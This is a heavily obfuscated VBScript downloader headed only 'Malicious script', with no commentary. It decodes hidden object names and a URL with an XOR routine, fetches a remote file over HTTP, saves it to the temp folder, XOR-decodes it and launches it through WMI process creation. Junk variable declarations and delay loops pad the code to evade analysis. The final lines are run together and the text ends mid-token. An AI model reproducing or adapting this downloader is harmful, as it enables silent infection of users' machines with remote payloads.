Malicious script

fUNCTIon Fpvbao(JYVU)
dIm Xb, Lexy2, KVS
UhCcUh = "Fd9VCV"
TJ = "GH"
sET Xb = EgQ2(LqfI("1F142B3521373C691B2F2D2B24", TJ, (74451 / 5727), (17864 / 8932)))
C0HD5gj = "Fck"
NQq
Set YZN = Xb.eNVIRONMeNT(LqfI("19640D0A73111A", "BI6", (-3477 + 3484), (-6085 + 6088)))
YtwZZKQv = YZN(LqfI("2A246132171202", "Ckt1vVF", (2810 - 2803), (1996 - 1989))) & UuwyBbTr((-2538 + 2630)) & Bsjtd & Bsjtd
RXy0al = "RHSZBfjd"
sEt Lexy2 = EgQ2(LqfI("053A393009190B343C7D020F2A22300618", RXy0al, (1859 - 1842), (-3329 + 3337)))
if KPGe5fGb(Lexy2, JYVU) = 1 then
NQq
KVS = 8166
Else
GCMEY = "W6"
If KPGe5fGb(Lexy2, LqfI("5E2342270C78193E503A5134557955385B785A3E553258245379422F42", GCMEY, (-6767 + 6796), (2402 / 1201))) = 1 Then K
VS = 8166
end
if
If KVS = 8166 Then
Stbk6d Lexy2.RespoNSEBODY
EnD If
ENd FunCTiON
fuNCTion Bsjtd()
Bsjtd = 9077
ENd FUNctIOn
suB Stbk6d(GLAK)
Dim Sm
Y86 = "EXIqxhx"
sET Sm = EgQ2(LqfI("190D3E3C2A56162C3B141905", Y86, (9544 - 9532), (7871 - 7864)))
Sm.OPEn
Sm.tYpe = 5979 - 5978
Qom Sm, GLAK
Sm.savETofIlE YtwZZKQv & LqfI("7F230021", "UQS", (-1665 + 1669), (29238 / 9746)), 9424 - 9422
Sm.cloSe
QuuP
EnD suB
FUncTIon SrIPT()
Dim Lhqdo5Ta1
Dim Lhqdo5Ta2
Lhqdo5Ta2 = CVDate(650)
Dim Lhqdo5Ta3
Lhqdo5Ta3 = QBColor(13)
Dim Lhqdo5Ta4
Dim Lhqdo5Ta5
Lhqdo5Ta5 = CDec(322)
Dim Lhqdo5Ta6
Lhqdo5Ta6 = Second(13)
Dim Lhqdo5Ta7
Lhqdo5Ta7 = Weekday(43)
Dim Lhqdo5Ta8
Lhqdo5Ta8 = Now
Dim Lhqdo5Ta9
If Round(344, 626) = True then Lhqdo5Ta9 = "772"
Dim Lhqdo5Ta10
Lhqdo5Ta10 = FreeFile(753)
Dim Lhqdo5Ta11
If Lhqdo5Ta11 + "673" = 370 Then InputBox "24", "69", 461, 14, 101, 366, 563
Dim Lhqdo5Ta12
If Round(626, 772) = True then Lhqdo5Ta12 = "800"
Dim Lhqdo5Ta13
Lhqdo5Ta13 = CInt(112)
Dim Lhqdo5Ta14
Lhqdo5Ta14 = Dir("14")
Dim Lhqdo5Ta15
Lhqdo5Ta15 = CCur(503)
Dim Lhqdo5Ta16
Lhqdo5Ta16 = Year(Now)
Dim Lhqdo5Ta17
Lhqdo5Ta17 = CVar(14)
Dim Lhqdo5Ta18
Lhqdo5Ta18 = Second(Now)
Dim Lhqdo5Ta19
Dim Lhqdo5Ta20
If Lhqdo5Ta20 = "962"
Then DoEvents
Dim Lhqdo5Ta21
Lhqdo5Ta21 = Sqr(291)
Dim Lhqdo5Ta22
If Lhqdo5Ta22 = "949"
Then DoEvents
Dim Lhqdo5Ta23
Dim Lhqdo5Ta24
Lhqdo5Ta24 = Month(898)
Dim Lhqdo5Ta25
Lhqdo5Ta25 = Now
Dim Lhqdo5Ta26
Lhqdo5Ta26 = FreeFile(188)
Dim Lhqdo5Ta27
Lhqdo5Ta27 = Month(470)
Dim Lhqdo5Ta28
Lhqdo5Ta28 = Now
Dim Lhqdo5Ta29
Lhqdo5Ta29 = FreeFile(188)
Dim Lhqdo5Ta30
Lhqdo5Ta30 = Month(470)
Dim Lhqdo5Ta31
Lhqdo5Ta31 = Now
Dim Lhqdo5Ta32
Lhqdo5Ta32 = FreeFile(188)
Dim Lhqdo5Ta33
Lhqdo5Ta33 = CDate(760)
Dim Lhqdo5Ta34
If Abs(150) = 559 Then Lhqdo5Ta34 = 587
Dim Lhqdo5Ta35
Lhqdo5Ta35 = Year(Now)
Dim Lhqdo5Ta36
Lhqdo5Ta36 = Weekday(263)
Dim Lhqdo5Ta37
Lhqdo5Ta37 = CVar(104)
Dim Lhqdo5Ta38
Lhqdo5Ta38 = Weekday(598)
Dim Lhqdo5Ta39
Lhqdo5Ta39 = CCur(337)
Dim Lhqdo5Ta40
Lhqdo5Ta40 = Sqr(282)
Dim Lhqdo5Ta41
Dim Lhqdo5Ta42
Lhqdo5Ta42 = CCur(805)
Dim Lhqdo5Ta43
If Lhqdo5Ta43 = "394"
Then Lhqdo5Ta43 = EOF(820)
enD FUNCtION
fUnctiON KPGe5fGb(WxhptzmI, AV8)
On eRror resUME NEXt
WxhptzmI.opeN LqfI("330D35", "ItHaA", (-540 + 543), (30285 / 6057)), AV8, 6744 - 6744
WxhptzmI.seNd
If WxhptzmI.StATuS = (861400 / 4307) then
KPGe5fGb = 1
enD If
End fUNctIOn
fUNCtion Jl(NpKqSVL, M5HGmK5)
Jl = (NpKqSVL aNd noT M5HGmK5) oR(Not NpKqSVL And M5HGmK5)
eNd funCTION
fUnCtion FWsw(B9JA)
FWsw = aSC(B9JA)
enD FUNctiON
Sub TAmqMMf()
R7UP6Jhd = 96786162
FOr R89HwkC = 1 tO R7UP6Jhd
XhDF5icw = XhDF5icw + 1
NEXt
iF XhDF5icw = R7UP6Jhd thEn
F1eu4 = "T0"
Fpvbao(LqfI("582044240A7B1F6D017A0265007A0162047A037B513F577A433342", F1eu4, (207873 / 7699), (5779 - 5777)))
ENd iF
enD SuB
fUnctiON EgQ2(FmH)
SeT EgQ2 = crEAtEObjECT(FmH)
eNd fUNCTIoN
SUb Qom(LtZwIiH, RS)
LtZwIiH.wRIte RS
enD sUB
fuNCTion Moh38rRL(MKCSoIJ, JXSVbY, TAzh)
Moh38rRL = miD(MKCSoIJ, JXSVbY, TAzh)
eND fuNcTiON
Sub QuuP()
NLs12d3 = LqfI("167E703E580051355D21403746015120423746", "R4", (6356 - 6337), (4924 - 4922))
DKj = YtwZZKQv & Bsjtd & LqfI("4F341B1F", "Raply", (-8123 + 8127), (48110 / 9622))
PZMQ9gbG = LqfI("02333C1D072667426670", "TpFRykJ", (5746 - 5736), (7493 - 7486))
DnJ2AC YtwZZKQv & LqfI("54491320", "Jz9FP", (-3850 + 3854), (42570 / 8514)), DKj
Jr = "Y5sk"
SeT APbhX = gEtobjeCT(LqfI("0F3E091721152314403D113A171F340B38091B3211380936230E320B472F15270208351739060E2305763B266824250815322
            4340E17304 A6D3013284B65382A341734020935 ","
            FxWgz ",(9972-9902),(-284+289)))
            APbhX.crEATe PZMQ9gbG & DKj & NLs12d3 eND SUb fuNCTIOn UuwyBbTr(D4wl) UuwyBbTr = chR(D4wl) ENd FunCTiON fUNCTioN LqfI(YnP, JEzmy, Ro, IMmB) diM VoxlnjV, T4uB7YG, SKsbQM fOr VoxlnjV = 1 tO Ro T4uB7YG = (UuwyBbTr((321974 / 8473)) & UuwyBbTr((489960 / 6805)) & (Moh38rRL(YnP, (VoxlnjV + VoxlnjV) - 1, 2))) SKsbQM = (FWsw(Moh38rRL(JEzmy, ((O1(VoxlnjV, IMmB)) + 1), 1))) LqfI = LqfI + UuwyBbTr(Jl(T4uB7YG, SKsbQM)) NeXt eNd fuNcTiOn TAmqMMf funCTION O1(T68w, Vsg6pVn7) O1 = T68w - (Vsg6pVn7 * (T68w\ Vsg6pVn7)) EnD fuNCtIOn sUB NQq() Dim M2Oc, FYBJ For M2Oc = 16 To 2000924 FYBJ = OGxLy6N + 60 + 25 + 30 Next eND suB fuNctIoN DnJ2AC(XVp, Nk) DIm AT6W1Bq, EgKl0VW, LFOj9T, ROqm(5) ROqm(4) = 52 ROqm(3) = 103 ROqm(1) = 115 ROqm(0) = 106 ROqm(2) = 109 ROqm(5) = 51 seT AT6W1Bq = EgQ2(LqfI("213B012D2606311D237834311F21050B2B07213B3D3A19213506", "VrXsD", (88036 / 3386), (6342 - 6337))) SEt LFOj9T = AT6W1Bq.oPentExtfiLE(XVp, 910 - 909, 7705 - 7705) sEt EgKl0VW = AT6W1Bq.CreateTEXTFile(Nk, 6490 - 6489, 6103 - 6103) oN ERROr reSume NExT dO KY = LFOj9T.ReAD(2899 - 2898) if ERr.nUmbEr = 0 then Qom EgKl0VW, UuwyBbTr(Jl(FWsw(KY), ROqm(0))) End If LOoP UntiL eRr.NumbeR < > 0 EgKl0VW.CLose LFOj9T.CLOSe End FUnCTioN c